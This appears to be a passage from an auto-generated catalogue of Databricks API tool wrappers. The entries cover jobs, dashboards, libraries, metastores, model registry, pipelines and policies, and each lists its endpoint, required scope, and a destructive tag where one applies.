databricks_jobs_cancel_run (write, destructive) — DESTRUCTIVE - Cancels a job run or a task run. The run is canceled asynchronously, so it may still be running when this request completes. POST /api/v1/tools/databricks/jobs-cancel-run. Scopes: jobs:write. databricks_jobs_create (write) — Create a new job. POST /api/2.2/jobs/create on Databricks. POST /api/v1/tools/databricks/jobs-create. Scopes: jobs:write. databricks_jobs_delete (write, destructive) — DESTRUCTIVE — Deletes a job. POST /api/2.2/jobs/delete on Databricks. Requires job_id. POST /api/v1/tools/databricks/jobs-delete. Scopes: jobs:write. databricks_jobs_delete_run (write, destructive) — DESTRUCTIVE - Deletes a non-active run. Returns an error if the run is active. POST /api/v1/tools/databricks/jobs-delete-run. Scopes: jobs:write. databricks_jobs_export_run (read) — Export and retrieve the job run task. GET /api/2.2/jobs/runs/export on Databricks. Requires run_id. GET /api/v1/tools/databricks/jobs-export-run. Scopes: jobs:read. databricks_jobs_get (read) — Retrieves the details for a single job. Large arrays in the results will be paginated when they exceed 100 elements. A request for a single job will return all properties for that job, and the first 100 elements of array properties (``tasks``... GET /api/v1/tools/databricks/jobs-get. Scopes: jobs:read. databricks_jobs_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/jobs-get-permission-levels. Scopes: jobs:read. databricks_jobs_get_permissions (read) — Gets the permissions of a job. Jobs can inherit permissions from their root object. GET /api/v1/tools/databricks/jobs-get-permissions. Scopes: jobs:read. databricks_jobs_get_run (read) — Retrieves the metadata of a run. Large arrays in the results will be paginated when they exceed 100 elements. A request for a single run will return all properties for that run, and the first 100 elements of array properties (``tasks``, ``job_clusters``... GET /api/v1/tools/databricks/jobs-get-run. Scopes: jobs:read. databricks_jobs_get_run_output (read) — Retrieve the output and metadata of a single task run. When a notebook task returns a value through the ``dbutils.notebook.exit()`` call, you can use this endpoint to retrieve that value. Databricks restricts this API to returning the first 5 MB of the... GET /api/v1/tools/databricks/jobs-get-run-output. Scopes: jobs:read. databricks_jobs_list (read) — Retrieves a list of jobs. GET /api/2.2/jobs/list on Databricks. GET /api/v1/tools/databricks/jobs-list. Scopes: jobs:read. databricks_jobs_list_runs (read) — List runs in descending order by end time. If a run has not finished, it falls back to start time. GET /api/v1/tools/databricks/jobs-list-runs. Scopes: jobs:read. databricks_jobs_repair_run (write) — Re-run one or more tasks. Tasks are re-run as part of the original job run. They use the current job and task settings, and can be viewed in the history for the original job run. POST /api/v1/tools/databricks/jobs-repair-run. Scopes: jobs:write. databricks_jobs_reset (write, destructive) — DESTRUCTIVE - Overwrite all settings for the given job. Use the [*Update* endpoint](:method:jobs/update) to update job settings partially. POST /api/v1/tools/databricks/jobs-reset. Scopes: jobs:write. databricks_jobs_run_now (write) — Run a job and return the ``run_id`` of the triggered run. POST /api/v1/tools/databricks/jobs-run-now. Scopes: jobs:write. databricks_jobs_submit (write) — Submit a one-time run. This endpoint allows you to submit a workload directly without creating a job. Runs submitted using this endpoint don’t display in the UI. Use the ``jobs/runs/get`` API to check the run state after the job is submitted. **Important:**... POST /api/v1/tools/databricks/jobs-submit. Scopes: jobs:write. databricks_jobs_update (write) — Add, update, or remove specific settings of an existing job. Use the [*Reset* endpoint](:method:jobs/reset) to overwrite all job settings. POST /api/v1/tools/databricks/jobs-update. Scopes: jobs:write. databricks_knowledge_assistants_create_example (write) — Creates an example for a Knowledge Assistant. POST /api/v1/tools/databricks/knowledge-assistants-create-example. Scopes: ml:write. databricks_knowledge_assistants_create_knowledge_assistant (write) — Creates a Knowledge Assistant. POST /api/2.1/knowledge-assistants on Databricks. POST /api/v1/tools/databricks/knowledge-assistants-create-knowledge-assistant. Scopes: ml:write. databricks_knowledge_assistants_create_knowledge_source (write) — Creates a Knowledge Source under a Knowledge Assistant. POST /api/v1/tools/databricks/knowledge-assistants-create-knowledge-source. Scopes: ml:write. databricks_knowledge_assistants_delete_example (write, destructive) — DESTRUCTIVE - Deletes an example from a Knowledge Assistant. POST /api/v1/tools/databricks/knowledge-assistants-delete-example. Scopes: ml:write. databricks_knowledge_assistants_delete_knowledge_assistant (write, destructive) — DESTRUCTIVE - Deletes a Knowledge Assistant. POST /api/v1/tools/databricks/knowledge-assistants-delete-knowledge-assistant. Scopes: ml:write. databricks_knowledge_assistants_delete_knowledge_source (write, destructive) — DESTRUCTIVE - Deletes a Knowledge Source. POST /api/v1/tools/databricks/knowledge-assistants-delete-knowledge-source. Scopes: ml:write. databricks_knowledge_assistants_get_example (read) — Gets an example from a Knowledge Assistant. GET /api/v1/tools/databricks/knowledge-assistants-get-example. Scopes: ml:read. databricks_knowledge_assistants_get_knowledge_assistant (read) — Gets a Knowledge Assistant. GET /api/2.1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/knowledge-assistants-get-knowledge-assistant. Scopes: ml:read. databricks_knowledge_assistants_get_knowledge_source (read) — Gets a Knowledge Source. GET /api/2.1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/knowledge-assistants-get-knowledge-source. Scopes: ml:read. databricks_knowledge_assistants_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/knowledge-assistants-get-permission-levels. Scopes: ml:read. databricks_knowledge_assistants_get_permissions (read) — Gets the permissions of a knowledge assistant. Knowledge assistants can inherit permissions from their root object. GET /api/v1/tools/databricks/knowledge-assistants-get-permissions. Scopes: ml:read. databricks_knowledge_assistants_list_examples (read) — Lists examples under a Knowledge Assistant. GET /api/v1/tools/databricks/knowledge-assistants-list-examples. Scopes: ml:read. databricks_knowledge_assistants_list_knowledge_assistants (read) — List Knowledge Assistants. GET /api/2.1/knowledge-assistants on Databricks. GET /api/v1/tools/databricks/knowledge-assistants-list-knowledge-assistants. Scopes: ml:read. databricks_knowledge_assistants_list_knowledge_sources (read) — Lists Knowledge Sources under a Knowledge Assistant. GET /api/v1/tools/databricks/knowledge-assistants-list-knowledge-sources. Scopes: ml:read. databricks_knowledge_assistants_sync_knowledge_sources (write) — Sync all non-index Knowledge Sources for a Knowledge Assistant (index sources do not require sync) POST /api/v1/tools/databricks/knowledge-assistants-sync-knowledge-sources. Scopes: ml:write. databricks_knowledge_assistants_update_example (write) — Updates an example in a Knowledge Assistant. POST /api/v1/tools/databricks/knowledge-assistants-update-example. Scopes: ml:write. databricks_knowledge_assistants_update_knowledge_assistant (write) — Updates a Knowledge Assistant. PATCH /api/2.1/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/knowledge-assistants-update-knowledge-assistant. Scopes: ml:write. databricks_knowledge_assistants_update_knowledge_source (write) — Updates a Knowledge Source. PATCH /api/2.1/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/knowledge-assistants-update-knowledge-source. Scopes: ml:write. databricks_lakeview_create (write) — Create a draft dashboard. POST /api/2.0/lakeview/dashboards on Databricks. POST /api/v1/tools/databricks/lakeview-create. Scopes: sql:write. databricks_lakeview_create_schedule (write) — Create dashboard schedule. POST /api/2.0/lakeview/dashboards/{dashboard_id}/schedules on Databricks. Requires dashboard_id. POST /api/v1/tools/databricks/lakeview-create-schedule. Scopes: sql:write. databricks_lakeview_create_subscription (write) — Create schedule subscription. POST /api/2.0/lakeview/dashboards/{dashboard_id}/schedules/{schedule_id}/subscriptions on Databricks. Requires dashboard_id, schedule_id. POST /api/v1/tools/databricks/lakeview-create-subscription. Scopes: sql:write. databricks_lakeview_delete_schedule (write, destructive) — DESTRUCTIVE - Delete dashboard schedule. POST /api/v1/tools/databricks/lakeview-delete-schedule. Scopes: sql:write. databricks_lakeview_delete_subscription (write, destructive) — DESTRUCTIVE - Delete schedule subscription. POST /api/v1/tools/databricks/lakeview-delete-subscription. Scopes: sql:write. databricks_lakeview_embedded_get_published_dashboard_embedded (read) — Get the current published dashboard within an embedded context. GET /api/v1/tools/databricks/lakeview-embedded-get-published-dashboard-embedded. Scopes: sql:read. databricks_lakeview_embedded_get_published_dashboard_token_info (read) — Get a required authorization details and scopes of a published dashboard to mint an OAuth token. GET /api/v1/tools/databricks/lakeview-embedded-get-published-dashboard-token-info. Scopes: sql:read. databricks_lakeview_get (read) — Get a draft dashboard. GET /api/2.0/lakeview/dashboards/{dashboard_id} on Databricks. Requires dashboard_id. GET /api/v1/tools/databricks/lakeview-get. Scopes: sql:read. databricks_lakeview_get_published (read) — Get the current published dashboard. GET /api/2.0/lakeview/dashboards/{dashboard_id}/published on Databricks. Requires dashboard_id. GET /api/v1/tools/databricks/lakeview-get-published. Scopes: sql:read. databricks_lakeview_get_schedule (read) — Get dashboard schedule. GET /api/2.0/lakeview/dashboards/{dashboard_id}/schedules/{schedule_id} on Databricks. Requires dashboard_id, schedule_id. GET /api/v1/tools/databricks/lakeview-get-schedule. Scopes: sql:read. databricks_lakeview_get_subscription (read) — Get schedule subscription. GET /api/2.0/lakeview/dashboards/{dashboard_id}/schedules/{schedule_id}/subscriptions/{subscription_id} on Databricks. Requires dashboard_id, schedule_id, subscription_id. GET /api/v1/tools/databricks/lakeview-get-subscription. Scopes: sql:read. databricks_lakeview_list (read) — List dashboards. GET /api/2.0/lakeview/dashboards on Databricks. GET /api/v1/tools/databricks/lakeview-list. Scopes: sql:read. databricks_lakeview_list_schedules (read) — List dashboard schedules. GET /api/2.0/lakeview/dashboards/{dashboard_id}/schedules on Databricks. Requires dashboard_id. GET /api/v1/tools/databricks/lakeview-list-schedules. Scopes: sql:read. databricks_lakeview_list_subscriptions (read) — List schedule subscriptions. GET /api/2.0/lakeview/dashboards/{dashboard_id}/schedules/{schedule_id}/subscriptions on Databricks. Requires dashboard_id, schedule_id. GET /api/v1/tools/databricks/lakeview-list-subscriptions. Scopes: sql:read. databricks_lakeview_migrate (write) — Migrates a classic SQL dashboard to Lakeview. POST /api/v1/tools/databricks/lakeview-migrate. Scopes: sql:write. databricks_lakeview_publish (write) — Publish the current draft dashboard. POST /api/2.0/lakeview/dashboards/{dashboard_id}/published on Databricks. Requires dashboard_id. POST /api/v1/tools/databricks/lakeview-publish. Scopes: sql:write. databricks_lakeview_revert (write) — Revert a dashboard's definition in draft mode to the last published version. POST /api/v1/tools/databricks/lakeview-revert. Scopes: sql:write. databricks_lakeview_trash (write, destructive) — DESTRUCTIVE — Trash a dashboard. DELETE /api/2.0/lakeview/dashboards/{dashboard_id} on Databricks. Requires dashboard_id. POST /api/v1/tools/databricks/lakeview-trash. Scopes: sql:write. databricks_lakeview_unpublish (write, destructive) — DESTRUCTIVE — Unpublish the dashboard. DELETE /api/2.0/lakeview/dashboards/{dashboard_id}/published on Databricks. Requires dashboard_id. POST /api/v1/tools/databricks/lakeview-unpublish. Scopes: sql:write. databricks_lakeview_update (write) — Update a draft dashboard. PATCH /api/2.0/lakeview/dashboards/{dashboard_id} on Databricks. Requires dashboard_id. POST /api/v1/tools/databricks/lakeview-update. Scopes: sql:write. databricks_lakeview_update_schedule (write) — Update dashboard schedule. PUT /api/2.0/lakeview/dashboards/{dashboard_id}/schedules/{schedule_id} on Databricks. Requires dashboard_id, schedule_id. POST /api/v1/tools/databricks/lakeview-update-schedule. Scopes: sql:write. databricks_libraries_all_cluster_statuses (read) — Get the status of all libraries on all clusters. A status is returned for all libraries installed on this cluster via the API or the libraries UI. GET /api/v1/tools/databricks/libraries-all-cluster-statuses. Scopes: compute:read. databricks_libraries_cluster_status (read) — Get the status of libraries on a cluster. A status is returned for all libraries installed on this cluster via the API or the libraries UI. The order of returned libraries is as follows: 1. Libraries set to be installed on this cluster, in the order that... GET /api/v1/tools/databricks/libraries-cluster-status. Scopes: compute:read. databricks_libraries_create_default_base_environment (write) — Create a default base environment within workspaces to define the environment version and a list of dependencies to be used in serverless notebooks and jobs. This process will asynchronously generate a cache to optimize dependency resolution. POST /api/v1/tools/databricks/libraries-create-default-base-environment. Scopes: compute:write. databricks_libraries_delete_default_base_environment (write, destructive) — DESTRUCTIVE - Delete the default base environment given an ID. The default base environment may be used by downstream workloads. Please ensure that the deletion is intentional. POST /api/v1/tools/databricks/libraries-delete-default-base-environment. Scopes: compute:write. databricks_libraries_get_default_base_environment (read) — Return the default base environment details for a given ID. GET /api/v1/tools/databricks/libraries-get-default-base-environment. Scopes: compute:read. databricks_libraries_install (write) — Add libraries to install on a cluster. The installation is asynchronous; it happens in the background after the completion of this request. POST /api/v1/tools/databricks/libraries-install. Scopes: compute:write. databricks_libraries_list_default_base_environments (read) — List default base environments defined in the workspaces for the requested user. GET /api/v1/tools/databricks/libraries-list-default-base-environments. Scopes: compute:read. databricks_libraries_refresh_default_base_environments (write) — Refresh the cached default base environments for the given IDs. This process will asynchronously regenerate the caches. The existing caches remains available until it expires. POST /api/v1/tools/databricks/libraries-refresh-default-base-environments. Scopes: compute:write. databricks_libraries_uninstall (write, destructive) — DESTRUCTIVE - Set libraries to uninstall from a cluster. The libraries won't be uninstalled until the cluster is restarted. A request to uninstall a library that is not currently installed is ignored. POST /api/v1/tools/databricks/libraries-uninstall. Scopes: compute:write. databricks_libraries_update_default_base_environment (write) — Update the default base environment for the given ID. This process will asynchronously regenerate the cache. The existing cache remains available until it expires. POST /api/v1/tools/databricks/libraries-update-default-base-environment. Scopes: compute:write. databricks_libraries_update_default_default_base_environment (write) — Set the default base environment for the workspace. This marks the specified DBE as the workspace default. POST /api/v1/tools/databricks/libraries-update-default-default-base-environment. Scopes: compute:write. databricks_llm_proxy_partner_powered_workspace_delete (write, destructive) — DESTRUCTIVE - Reverts the enable partner powered AI features workspace setting to its default value. POST /api/v1/tools/databricks/llm-proxy-partner-powered-workspace-delete. Scopes: settings:write. databricks_llm_proxy_partner_powered_workspace_get (read) — Gets the enable partner powered AI features workspace setting. GET /api/v1/tools/databricks/llm-proxy-partner-powered-workspace-get. Scopes: settings:read. databricks_llm_proxy_partner_powered_workspace_update (write) — Updates the enable partner powered AI features workspace setting. POST /api/v1/tools/databricks/llm-proxy-partner-powered-workspace-update. Scopes: settings:write. databricks_materialized_features_create_feature_tag (write) — Creates a FeatureTag. POST /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/tags on Databricks. Requires table_name, feature_name. POST /api/v1/tools/databricks/materialized-features-create-feature-tag. Scopes: ml:write. databricks_materialized_features_delete_feature_tag (write, destructive) — DESTRUCTIVE — Deletes a FeatureTag. DELETE /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/tags/{key} on Databricks. Requires table_name, feature_name, key. POST /api/v1/tools/databricks/materialized-features-delete-feature-tag. Scopes: ml:write. databricks_materialized_features_get_feature_lineage (read) — Get Feature Lineage. GET /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/lineage on Databricks. Requires table_name, feature_name. GET /api/v1/tools/databricks/materialized-features-get-feature-lineage. Scopes: ml:read. databricks_materialized_features_get_feature_tag (read) — Gets a FeatureTag. GET /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/tags/{key} on Databricks. Requires table_name, feature_name, key. GET /api/v1/tools/databricks/materialized-features-get-feature-tag. Scopes: ml:read. databricks_materialized_features_list_feature_tags (read) — Lists FeatureTags. GET /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/tags on Databricks. Requires table_name, feature_name. GET /api/v1/tools/databricks/materialized-features-list-feature-tags. Scopes: ml:read. databricks_materialized_features_update_feature_tag (write) — Updates a FeatureTag. PATCH /api/2.0/feature-store/feature-tables/{table_name}/features/{feature_name}/tags/{key} on Databricks. Requires table_name, feature_name, key. POST /api/v1/tools/databricks/materialized-features-update-feature-tag. Scopes: ml:write. databricks_metastores_assign (write) — Creates a new metastore assignment. If an assignment for the same **workspace_id** exists, it will be overwritten by the new **metastore_id** and **default_catalog_name**. The caller must be an account admin. POST /api/v1/tools/databricks/metastores-assign. Scopes: catalog:write. databricks_metastores_create (write) — Creates a new metastore based on a provided name and optional storage root path. By default (if the **owner** field is not set), the owner of the new metastore is the user calling the **createMetastore** API. If the **owner** field is set to the empty... POST /api/v1/tools/databricks/metastores-create. Scopes: catalog:write. databricks_metastores_current (read) — Gets the metastore assignment for the workspace being accessed. GET /api/v1/tools/databricks/metastores-current. Scopes: catalog:read. databricks_metastores_delete (write, destructive) — DESTRUCTIVE - Deletes a metastore. The caller must be a metastore admin. POST /api/v1/tools/databricks/metastores-delete. Scopes: catalog:write. databricks_metastores_get (read) — Gets a metastore that matches the supplied ID. The caller must be a metastore admin to retrieve this info. GET /api/v1/tools/databricks/metastores-get. Scopes: catalog:read. databricks_metastores_list (read) — Gets an array of the available metastores (as **MetastoreInfo** objects). The caller must be an admin to retrieve this info. There is no guarantee of a specific ordering of the elements in the array. NOTE: we recommend using max_results=0 to use the... GET /api/v1/tools/databricks/metastores-list. Scopes: catalog:read. databricks_metastores_summary (read) — Gets information about a metastore. This summary includes the storage credential, the cloud vendor, the cloud region, and the global metastore ID. GET /api/v1/tools/databricks/metastores-summary. Scopes: catalog:read. databricks_metastores_unassign (write, destructive) — DESTRUCTIVE - Deletes a metastore assignment. The caller must be an account administrator. POST /api/v1/tools/databricks/metastores-unassign. Scopes: catalog:write. databricks_metastores_update (write) — Updates information for a specific metastore. The caller must be a metastore admin. If the **owner** field is set to the empty string (**""**), the ownership is updated to the System User. POST /api/v1/tools/databricks/metastores-update. Scopes: catalog:write. databricks_metastores_update_assignment (write) — Updates a metastore assignment. This operation can be used to update **metastore_id** or **default_catalog_name** for a specified Workspace, if the Workspace is already assigned a metastore. The caller must be an account admin to update **metastore_id**... POST /api/v1/tools/databricks/metastores-update-assignment. Scopes: catalog:write. databricks_model_registry_approve_transition_request (write) — Approves a model version stage transition request. POST /api/v1/tools/databricks/model-registry-approve-transition-request. Scopes: ml:write. databricks_model_registry_create_comment (write) — Posts a comment on a model version. A comment can be submitted either by a user or programmatically to display relevant information about the model. For example, test results or deployment errors. POST /api/v1/tools/databricks/model-registry-create-comment. Scopes: ml:write. databricks_model_registry_create_model (write) — Creates a new registered model with the name specified in the request body. Throws ``RESOURCE_ALREADY_EXISTS`` if a registered model with the given name exists. POST /api/v1/tools/databricks/model-registry-create-model. Scopes: ml:write. databricks_model_registry_create_model_version (write) — Creates a model version. POST /api/2.0/mlflow/model-versions/create on Databricks. Requires name, source. POST /api/v1/tools/databricks/model-registry-create-model-version. Scopes: ml:write. databricks_model_registry_create_transition_request (write) — Creates a model version stage transition request. POST /api/v1/tools/databricks/model-registry-create-transition-request. Scopes: ml:write. databricks_model_registry_create_webhook (write) — **NOTE:** This endpoint is in Public Preview. Creates a registry webhook. POST /api/v1/tools/databricks/model-registry-create-webhook. Scopes: ml:write. databricks_model_registry_delete_comment (write, destructive) — DESTRUCTIVE - Deletes a comment on a model version. POST /api/v1/tools/databricks/model-registry-delete-comment. Scopes: ml:write. databricks_model_registry_delete_model (write, destructive) — DESTRUCTIVE - Deletes a registered model. POST /api/v1/tools/databricks/model-registry-delete-model. Scopes: ml:write. databricks_model_registry_delete_model_tag (write, destructive) — DESTRUCTIVE - Deletes the tag for a registered model. POST /api/v1/tools/databricks/model-registry-delete-model-tag. Scopes: ml:write. databricks_model_registry_delete_model_version (write, destructive) — DESTRUCTIVE — Deletes a model version. DELETE /api/2.0/mlflow/model-versions/delete on Databricks. Requires name, version. POST /api/v1/tools/databricks/model-registry-delete-model-version. Scopes: ml:write. databricks_model_registry_delete_model_version_tag (write, destructive) — DESTRUCTIVE - Deletes a model version tag. POST /api/v1/tools/databricks/model-registry-delete-model-version-tag. Scopes: ml:write. databricks_model_registry_delete_transition_request (write, destructive) — DESTRUCTIVE - Cancels a model version stage transition request. POST /api/v1/tools/databricks/model-registry-delete-transition-request. Scopes: ml:write. databricks_model_registry_delete_webhook (write, destructive) — DESTRUCTIVE - **NOTE:** This endpoint is in Public Preview. Deletes a registry webhook. POST /api/v1/tools/databricks/model-registry-delete-webhook. Scopes: ml:write. databricks_model_registry_get_latest_versions (write) — Gets the latest version of a registered model. POST /api/v1/tools/databricks/model-registry-get-latest-versions. Scopes: ml:write. databricks_model_registry_get_model (read) — Get the details of a model. This is a Databricks workspace version of the `MLflow endpoint `__ that also returns the model's Databricks workspace ID and the permission level of the requesting user on the model. GET /api/v1/tools/databricks/model-registry-get-model. Scopes: ml:read. databricks_model_registry_get_model_version (read) — Get a model version. GET /api/2.0/mlflow/model-versions/get on Databricks. Requires name, version. GET /api/v1/tools/databricks/model-registry-get-model-version. Scopes: ml:read. databricks_model_registry_get_model_version_download_uri (read) — Gets a URI to download the model version. GET /api/v1/tools/databricks/model-registry-get-model-version-download-uri. Scopes: ml:read. databricks_model_registry_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/model-registry-get-permission-levels. Scopes: ml:read. databricks_model_registry_get_permissions (read) — Gets the permissions of a registered model. Registered models can inherit permissions from their root object. GET /api/v1/tools/databricks/model-registry-get-permissions. Scopes: ml:read. databricks_model_registry_list_models (read) — Lists all available registered models, up to the limit specified in **max_results**. GET /api/v1/tools/databricks/model-registry-list-models. Scopes: ml:read. databricks_model_registry_list_transition_requests (read) — Gets a list of all open stage transition requests for the model version. GET /api/v1/tools/databricks/model-registry-list-transition-requests. Scopes: ml:read. databricks_model_registry_list_webhooks (read) — **NOTE:** This endpoint is in Public Preview. Lists all registry webhooks. GET /api/v1/tools/databricks/model-registry-list-webhooks. Scopes: ml:read. databricks_model_registry_reject_transition_request (write) — Rejects a model version stage transition request. POST /api/v1/tools/databricks/model-registry-reject-transition-request. Scopes: ml:write. databricks_model_registry_rename_model (write) — Renames a registered model. POST /api/2.0/mlflow/registered-models/rename on Databricks. Requires name. POST /api/v1/tools/databricks/model-registry-rename-model. Scopes: ml:write. databricks_model_registry_search_model_versions (read) — Searches for specific model versions based on the supplied **filter**. GET /api/v1/tools/databricks/model-registry-search-model-versions. Scopes: ml:read. databricks_model_registry_search_models (read) — Search for registered models based on the specified **filter**. GET /api/v1/tools/databricks/model-registry-search-models. Scopes: ml:read. databricks_model_registry_set_model_tag (write) — Sets a tag on a registered model. POST /api/2.0/mlflow/registered-models/set-tag on Databricks. Requires name, key, value. POST /api/v1/tools/databricks/model-registry-set-model-tag. Scopes: ml:write. databricks_model_registry_set_model_version_tag (write) — Sets a model version tag. POST /api/2.0/mlflow/model-versions/set-tag on Databricks. Requires name, version, key, value. POST /api/v1/tools/databricks/model-registry-set-model-version-tag. Scopes: ml:write. databricks_model_registry_test_registry_webhook (write) — **NOTE:** This endpoint is in Public Preview. Tests a registry webhook. POST /api/v1/tools/databricks/model-registry-test-registry-webhook. Scopes: ml:write. databricks_model_registry_transition_stage (write) — Transition a model version's stage. This is a Databricks workspace version of the `MLflow endpoint `__ that also accepts a comment associated with the transition to be recorded. POST /api/v1/tools/databricks/model-registry-transition-stage. Scopes: ml:write. databricks_model_registry_update_comment (write) — Post an edit to a comment on a model version. POST /api/v1/tools/databricks/model-registry-update-comment. Scopes: ml:write. databricks_model_registry_update_model (write) — Updates a registered model. PATCH /api/2.0/mlflow/registered-models/update on Databricks. Requires name. POST /api/v1/tools/databricks/model-registry-update-model. Scopes: ml:write. databricks_model_registry_update_model_version (write) — Updates the model version. PATCH /api/2.0/mlflow/model-versions/update on Databricks. Requires name, version. POST /api/v1/tools/databricks/model-registry-update-model-version. Scopes: ml:write. databricks_model_registry_update_webhook (write) — **NOTE:** This endpoint is in Public Preview. Updates a registry webhook. POST /api/v1/tools/databricks/model-registry-update-webhook. Scopes: ml:write. databricks_model_versions_delete (write, destructive) — DESTRUCTIVE - Deletes a model version from the specified registered model. Any aliases assigned to the model version will also be deleted. The caller must be a metastore admin or an owner of the parent registered model. For the latter case, the caller must... POST /api/v1/tools/databricks/model-versions-delete. Scopes: catalog:write. databricks_model_versions_get (read) — Get a model version. The caller must be a metastore admin or an owner of (or have the **EXECUTE** privilege on) the parent registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog... GET /api/v1/tools/databricks/model-versions-get. Scopes: catalog:read. databricks_model_versions_get_by_alias (read) — Get a model version by alias. The caller must be a metastore admin or an owner of (or have the **EXECUTE** privilege on) the registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog... GET /api/v1/tools/databricks/model-versions-get-by-alias. Scopes: catalog:read. databricks_model_versions_list (read) — List model versions. You can list model versions under a particular schema, or list all model versions in the current metastore. The returned models are filtered based on the privileges of the calling user. For example, the metastore admin is able to list... GET /api/v1/tools/databricks/model-versions-list. Scopes: catalog:read. databricks_model_versions_update (write) — Updates the specified model version. The caller must be a metastore admin or an owner of the parent registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and the **USE_SCHEMA**... POST /api/v1/tools/databricks/model-versions-update. Scopes: catalog:write. databricks_notification_destinations_create (write) — Creates a notification destination. Requires workspace admin permissions. POST /api/v1/tools/databricks/notification-destinations-create. Scopes: settings:write. databricks_notification_destinations_delete (write, destructive) — DESTRUCTIVE - Deletes a notification destination. Requires workspace admin permissions. POST /api/v1/tools/databricks/notification-destinations-delete. Scopes: settings:write. databricks_notification_destinations_get (read) — Gets a notification destination. GET /api/2.0/notification-destinations/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/notification-destinations-get. Scopes: settings:read. databricks_notification_destinations_list (read) — Lists notification destinations. GET /api/2.0/notification-destinations on Databricks. GET /api/v1/tools/databricks/notification-destinations-list. Scopes: settings:read. databricks_notification_destinations_update (write) — Updates a notification destination. Requires workspace admin permissions. At least one field is required in the request body. POST /api/v1/tools/databricks/notification-destinations-update. Scopes: settings:write. databricks_online_tables_create (write) — Create a new Online Table. POST /api/2.0/online-tables on Databricks. POST /api/v1/tools/databricks/online-tables-create. Scopes: catalog:write. databricks_online_tables_delete (write, destructive) — DESTRUCTIVE - Delete an online table. Warning: This will delete all the data in the online table. If the source Delta table was deleted or modified since this Online Table was created, this will lose the data forever! POST /api/v1/tools/databricks/online-tables-delete. Scopes: catalog:write. databricks_online_tables_get (read) — Get information about an existing online table and its status. GET /api/v1/tools/databricks/online-tables-get. Scopes: catalog:read. databricks_permission_migration_migrate_permissions (write) — Migrate Permissions. POST /api/2.0/permissionmigration on Databricks. Requires workspace_id, from_workspace_group_name, to_account_group_name. POST /api/v1/tools/databricks/permission-migration-migrate-permissions. Scopes: iam:write. databricks_permissions_get (read) — Gets the permissions of an object. Objects can inherit permissions from their parent objects or root object. GET /api/v1/tools/databricks/permissions-get. Scopes: iam:read. databricks_permissions_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/permissions-get-permission-levels. Scopes: iam:read. databricks_pipelines_apply_environment (write) — Applies the current pipeline environment onto the pipeline compute. The environment applied can be used by subsequent dev-mode updates. POST /api/v1/tools/databricks/pipelines-apply-environment. Scopes: jobs:write. databricks_pipelines_clone (write) — Creates a new pipeline using Unity Catalog from a pipeline using Hive Metastore. This method returns the ID of the newly created clone. Additionally, this method starts an update for the newly created pipeline. POST /api/v1/tools/databricks/pipelines-clone. Scopes: jobs:write. databricks_pipelines_create (write) — Creates a new data processing pipeline based on the requested configuration. If successful, this method returns the ID of the new pipeline. POST /api/v1/tools/databricks/pipelines-create. Scopes: jobs:write. databricks_pipelines_delete (write, destructive) — DESTRUCTIVE - Deletes a pipeline. If the pipeline publishes to Unity Catalog, pipeline deletion will cascade to all pipeline tables. Please reach out to Databricks support for assistance to undo this action. POST /api/v1/tools/databricks/pipelines-delete. Scopes: jobs:write. databricks_pipelines_get (read) — Get a pipeline. GET /api/2.0/pipelines/{pipeline_id} on Databricks. Requires pipeline_id. GET /api/v1/tools/databricks/pipelines-get. Scopes: jobs:read. databricks_pipelines_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/pipelines-get-permission-levels. Scopes: jobs:read. databricks_pipelines_get_permissions (read) — Gets the permissions of a pipeline. Pipelines can inherit permissions from their root object. GET /api/v1/tools/databricks/pipelines-get-permissions. Scopes: jobs:read. databricks_pipelines_get_update (read) — Gets an update from an active pipeline. GET /api/2.0/pipelines/{pipeline_id}/updates/{update_id} on Databricks. Requires pipeline_id, update_id. GET /api/v1/tools/databricks/pipelines-get-update. Scopes: jobs:read. databricks_pipelines_list_pipeline_events (read) — Retrieves events for a pipeline. GET /api/2.0/pipelines/{pipeline_id}/events on Databricks. Requires pipeline_id. GET /api/v1/tools/databricks/pipelines-list-pipeline-events. Scopes: jobs:read. databricks_pipelines_list_pipelines (read) — Lists pipelines defined in the Spark Declarative Pipelines system. GET /api/v1/tools/databricks/pipelines-list-pipelines. Scopes: jobs:read. databricks_pipelines_list_updates (read) — List updates for an active pipeline. GET /api/2.0/pipelines/{pipeline_id}/updates on Databricks. Requires pipeline_id. GET /api/v1/tools/databricks/pipelines-list-updates. Scopes: jobs:read. databricks_pipelines_restore_pipeline (write) — Restores a pipeline that was previously deleted, if within the restoration window. All tables deleted at pipeline deletion will be undropped as well. POST /api/v1/tools/databricks/pipelines-restore-pipeline. Scopes: jobs:write. databricks_pipelines_start_update (write) — Starts a new update for the pipeline. If there is already an active update for the pipeline, the request will fail and the active update will remain running. POST /api/v1/tools/databricks/pipelines-start-update. Scopes: jobs:write. databricks_pipelines_stop (write) — Stops the pipeline by canceling the active update. If there is no active update for the pipeline, this request is a no-op. POST /api/v1/tools/databricks/pipelines-stop. Scopes: jobs:write. databricks_pipelines_update (write) — Updates a pipeline with the supplied configuration. POST /api/v1/tools/databricks/pipelines-update. Scopes: jobs:write. databricks_policies_create_policy (write) — Creates a new policy on a securable. The new policy applies to the securable and all its descendants. POST /api/v1/tools/databricks/policies-create-policy. Scopes: catalog:write. databricks_policies_delete_policy (write, destructive) — DESTRUCTIVE - Delete an ABAC policy defined on a securable. POST /api/v1/tools/databricks/policies-delete-policy. Scopes: catalog:write. databricks_policies_get_policy (read) — Get the policy definition on a securable GET /api/v1/tools/databricks/policies-get-policy. Scopes: catalog:read. 